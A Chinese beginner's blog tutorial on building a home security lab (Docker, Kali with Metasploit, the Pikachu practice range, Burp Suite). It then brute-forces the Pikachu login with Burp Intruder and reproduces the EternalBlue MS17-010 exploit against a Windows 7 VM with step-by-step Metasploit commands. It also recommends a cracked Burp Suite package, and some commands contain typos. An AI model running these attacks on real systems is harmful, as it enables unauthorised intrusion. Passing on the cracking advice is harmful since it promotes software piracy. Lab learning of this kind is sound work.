网络安全初步体验(docker->pikachu->永恒之蓝MS17-010)

最近初步接触了网络安全这一门课程,顾名思义,这门课程是一门用来保护网络安全的课程,这门课程的主体概念要求 "知己知彼" (知道有哪些安全隐患,有哪些可以使用的攻击手段,并且进行防护)。

那么接下来我们接下来进行一个网络安全的初步体验

1、 准备工作

准备好ubantu ( 搭建docker ),kali( 更新msf工具 ),小皮面板搭建 (pikaqiu靶场),burp安装与使用

1.1 docker环境搭建

1、先去Ubantu官网下载 iso 镜像,下载之后正常安装即可(如果不会可以上网搜索,网上很多教程)(博主使用的是 24.04.2 LTS 版本)。

2、更新软件包列表和已安装的软件版本

bash 复制代码
sudo apt update
sudo apt upgrade

3、安装docker

bash 复制代码
apt-get install docker.io docker-compose

4、检查一下docker有没有正常安装

使用以下命令

bash 复制代码
docker iamges

如果出现下面这行说明正确下载了

5、更换docker镜像源(目前好像不能用了,不过可以试试,推荐直接看 6 )

编辑 /etc/docker/daemon.json 文件

复制粘贴下面内容

复制代码
{
  "registry-mirrors": [
    "https://hub-mirror.c.163.com",
    "https://docker.mirrors.ustc.edu.cn",
    "https://xxxx.mirror.aliyuncs.com",  ###这里需要更换为你自己的阿里镜像源
    "https://docker.m.daocloud.io",
    "https://cf-workers-docker-io-apl.pages.dev"
  ]
}

以上镜像源分别是网易,中科大,阿里,,DaoClou和Cloudflare Workers的镜像源

更换阿里镜像源 的地址可以在 阿里镜像源更换 获取

退出并且保存

重启docker

bash 复制代码
systemctl daemon-reload
systemctl restart docker

检测是否添加镜像源成功

bash 复制代码
sudo docker info 

如果添加成功会看到下面的信息

6、docker挂载vpn

编辑docker.service文件

可以通过以下命令查看

bash 复制代码
systemctl status docker 

其中的 Loaded 行会显示

复制代码
Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)

前面的路径就是 docker.service 文件位置

[Service] 下面添加以下内容

bash 复制代码
Environment="HTTP_PROXY=http://127.0.0.1:7897/"
Environment="HTTPS_PROXY=http://127.0.0.77897/"
Environment="NO_PROXY=localhost,127.0.0.1"

上面的地址和端口号需要更改为你的 非虚拟机的代理 (当然,你直接让虚拟机也代理就可以直接使用上面的)

重启一下docker

bash 复制代码
systemctl daemon-reload
systemctl restart docker

7、测试docker能否正常使用

bash 复制代码
docker search mysql

如果出现了下面第一张图片内容,则表示可以使用,如果出现了第二张图片内容则表示不可用,请尝试其他办法(5\6)

1.2、更新msf工具

下载安装kali,博主使用的是 25.2 版本(推荐给多一点系统资源)

更新包列表和已安装的软件版本

bash 复制代码
apt update 
apt upgrade

直接更新

bash 复制代码
apt-get install metasploit-framework

查看版本(需要等待加载一会)

bash 复制代码
msfconsloe
#出现随机界面之后输入
version

1.3 pikaqiu靶场搭建

注意是:是 pikachu 而不是 pikaqiu

下载 小皮面板

小皮面板安装完成之后进入以下界面,安装所需版本 博主是(apache2.4.39 ,mysql 8.0.12

这里的版本需要注意,要么apache和mysql的版本都高,要么都低,不然可能会出现调用接口出现错误的问题

安装好之后回到首页进行启动,直到出现三角符号

这里可能出现 端口占用 而不能启动的情况,更改配置之后就可以重新启动

在浏览器地址输入localhost出现如下界面说明apache就 ok 了

然后修改 mysql 的密码

然后到安装 mysql 的位置测试安装成功与否

进入安装位置

测试在cmd 连接数据库出现以下内容代表成功 注意版本号 bin目录下

下载 pikachu靶场 并且解压到网站根目录(www)下

一般在安装小皮面板的文件夹下查找,可以参考博主的位置

进入inc文件夹修改 config.inc.php 文件

创建 pikachupkxss数据库,注意这里的用户不能是root 要是 pikachu 和 pkxss

并重启数据库

然后回到浏览器输入 http://localhost/pikachu/ ,然后点击红字进行初始化,出现数据库初始化成功即可

1.4 bp的安装

下载bp的破解包(如果使用不了可以去官网 (Download Burp Suite Community Edition - PortSwigger)下载社区版 )后并解压

需要打开隐藏目录查看,不然解压之后看不到内容

bp破解包

该软件需要java环境,如果出现某些问题可以先配置java环境(博主的包里面有)之后再来试试,或者去看其他的贴子试试

先运行全汉化启动

后运行破解脚本

然后运行脚本

同意协议之后,进行以下操作

出现以下界面破解成功

基础使用方法可以看官方手册,讲得比较详细,这里不过多赘述

bp默认不能拦截 https,需要安装证书之后拦截,接下来我们安装 CA 证书

后面直接点击 橙色按钮即可

然后点击刚才保存的证书文件进行以下操作

最后的界面点击确认即可,然后在需要拦截的浏览器中安装 SwitchyOmega 代理插件

现在可以进行 bp 的拦截测试了

如果一直转圈圈,并且出现请求包就代表拦截成功

那么环境就搭建完成了

2、使用 bp 暴力破解 pikachu 登录密码

暴力破解步骤:拦截请求包 -> 转发给intruder -> 添加payload 位置 -> 添加 payload 列表 -> 攻击 -> 查看结果 -> 验证

打开拦截

随便输入之后点击login进行拦截

转发给 intruder

添加 payload 位置

添加第一个 payload 位置

添加第二个 payload 位置

按长度从小到大排序,查看响应包的状态码 是否为 200

填写其中一个正确的账号,成功!!!

3、msf复现永恒之蓝

因为永恒之蓝是用在 win7 上的 所以需要准备一个win 7环境(晚上找一个镜像 下载下来即可)

使用 kali 进入 msfconsole

bash 复制代码
msfconsole

查找 永恒之蓝的工具包使用其他代号(MS17-010 等)也可以

复制代码
search eternalblue

使用 exploit (利用程序),填写路径和编号都可以

bash 复制代码
use exploit/windows/smb/ms17_010_eternalblue

查看参数

复制代码
options
  • required 代表是否需要 该参数,如果为t yes 则代表为必须参数

  • Current Setting 代表默认值,如果没有填写该参数 则该参数带有该默认值

接下来设置参数

bash 复制代码
set RHOSTS x.x.x.x #替换为你的win7 ip地址
set RPORT 445 #替换为你的SMB监听端口
set LHOST  x.x.x.x #替换为你的kali ip地址
set LPORT 4444 #替换为你想要的本地监听端口

有些有默认值的可以不用设置

执行攻击

bash 复制代码
run

出现下面的界面代表成功!!!

我们可以尝试以下写一个文件测试

复制代码
edit C:/1.txt

写入你想要的内容

可以在win7看到结果

那么网络安全初步体验就到这里啦,(呼····真累),如果本篇文章有什么错误或者需要改进的地方欢迎评论区指出,或者联系博主!!!